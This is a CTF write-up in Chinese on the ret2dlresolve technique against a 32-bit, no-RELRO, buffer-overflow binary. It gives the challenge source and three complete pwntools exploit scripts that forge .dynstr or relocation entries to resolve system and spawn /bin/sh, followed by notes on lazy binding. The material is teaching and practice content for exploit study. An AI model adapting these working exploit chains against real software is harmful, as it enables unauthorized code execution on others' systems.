ret2dlresolve

pwntools rop模块

参考链接:https://www.jianshu.com/p/0d45e2025d97


32位

NO RELRO

解题场景:ubuntu18.04(注:ubuntu20.04 gcc版本过高,存在一些保护机制)

1、题目C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main() {
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}

编译指令:

1
gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32

2、解题exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# 参考exp1 #--------------------------长串payload做法----------------------------#
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

p.recvuntil('Welcome to XDCTF2015~!\n')

offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send("/bin/sh\x00")
p.interactive()


# 参考exp2 #--------------------------栈迁移做法---------------------------------#
from pwn import *
elf = ELF ('./pwn200')
#io = remote ('127.0.0.1',10001)
io = process ('./ydm')
pppr_addr = 0x08048619 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_addr =0x0804861b # pop ebp ; ret
leave_ret_addr =0x08048458 # leave ; ret

write_plt = elf.plt ['write']
write_got = elf.got ['write']
read_plt = elf.plt ['read']

plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x500
def stack_pivot ():
payload_1 = b'A'*(0x6c + 4)
payload_1 += p32(read_plt) # read (0, bss _ addr ,100)
payload_1 += p32(pppr_addr) # clean the stack
payload_1 += p32(0) + p32(bss_addr) + p32(100)
payload_1 += p32(pop_ebp_addr)
payload_1 += p32(bss_addr) # ebp
payload_1 += p32(leave_ret_addr) # mov esp , ebp ; pop ebp ; pop eip
io.send(payload_1)

def pwn ():
reloc_index = bss_addr + 28 - rel_plt
r_sym = (bss_addr + 40 - dynsym )/0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32( r_info)
st_name = bss_addr + 56 - dynstr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(st_info)
payload_7 = b'AAAA'
payload_7 += p32(plt_0)
payload_7 += p32(reloc_index )
payload_7 += b'AAAA'
payload_7 += p32(bss_addr +80)
payload_7 += b'AAAAAAAA'
payload_7 += fake_reloc
payload_7 += b'AAAA'
payload_7 += fake_sym
payload_7 += "system\x00"
payload_7 += b'A' * (80- len ( payload_7))
payload_7 += "/bin/sh\x00"
payload_7 += b'A' * (100-len(payload_7))
io.sendline(payload_7)
io.interactive()

if __name__ =='__main__':
stack_pivot ()
pwn()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 个人exp1 #--------------------------长串payload做法----------------------------#
from pwn import *

context(arch="i386",os="linux",log_level="debug")

io = process("./ydm1804")
elf = ELF("./ydm1804")

# copy dynstr表并将read字符串改为system字符串
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")

ppp_addr = 0x08048629 # pop esi ; pop edi ; pop ebp ; ret

# 长串payload,注意栈上数据排布
payload = 112*"a"
payload += p32(0x08048370) # read@plt 修改dynstr表的地址为bss段起始地址,达到劫持dynstr表的目的
payload += p32(0x08048629) + p32(0x0) + p32(0x08049804+4) + p32(0x4)

payload += p32(0x08048370) # read@plt 将dynstr表中的read替换为system,并写入bss段
payload += p32(0x08048629) + p32(0) + p32(0x080498E0) + p32(len(dynstr))

payload += p32(0x08048370) # read@plt 将system()的参数/bin/sh写入bss段
payload += p32(0x08048629) + p32(0) + p32(0x080498E0 + 0x100) + p32(len("/bin/sh\x00"))

payload += p32(0x08048376) # read@plt 2 触发动态链接,调用我们重构的dynstr表,调用system()
payload += p32(0xdeadbeef) + p32(0x080498E0 + 0x100)

print(len(payload))

io.send(payload)
io.send(p32(0x080498E0))
io.send(dynstr)
io.send("/bin/sh\x00")

io.interactive()

3、知识点:

动态链接的过程要了解

(1)第一次调用libc中的函数时,整个过程大致以下几步

img

参考链接:ret2dl_resolve解析 - 安全客,安全资讯平台

1
2
3
4
5
6
7
#程序先从第一个参数link_map获取字符串表.dynstr、符号表.dynsym以及重定位表.rel.plt的地址,

#通过第二个参数n即.rel.plt表中的偏移reloc_arg加上.rel.plt的地址获取函数对应的重定位结构的位置,从而获取函数对应的r_offset以及在符号表中的下标r_info>>8。

#根据符号表地址以及下标获取符号结构体,获得了函数符号表中的st_name,即函数名相对于字符串表.dynstr的偏移。

#最后可得到函数名的字符串,然后去libc中匹配函数名,找到相应的函数并将地址填回到r_offset即函数got表中,延迟绑定完成。

plt第二行压入偏移值 reloc_arg

got + 4 存入link_map地址

got + 8 存储 _dl_runtime_resolve 函数的地址

调用 _dl_runtime_resolve 函数的过程中会执行 _dl_fixup 函数,该函数会将偏移值与link_map作为参数,并且执行该函数时会获取 dynstr表地址、dynsym表地址、rel.plt表地址……(ctf竞赛权威指南P214)

之后在libc中查找函数是通过dynstr表中的字符串比对来查找函数的

(2)第二次及第二次以后:

img

Partial RELRO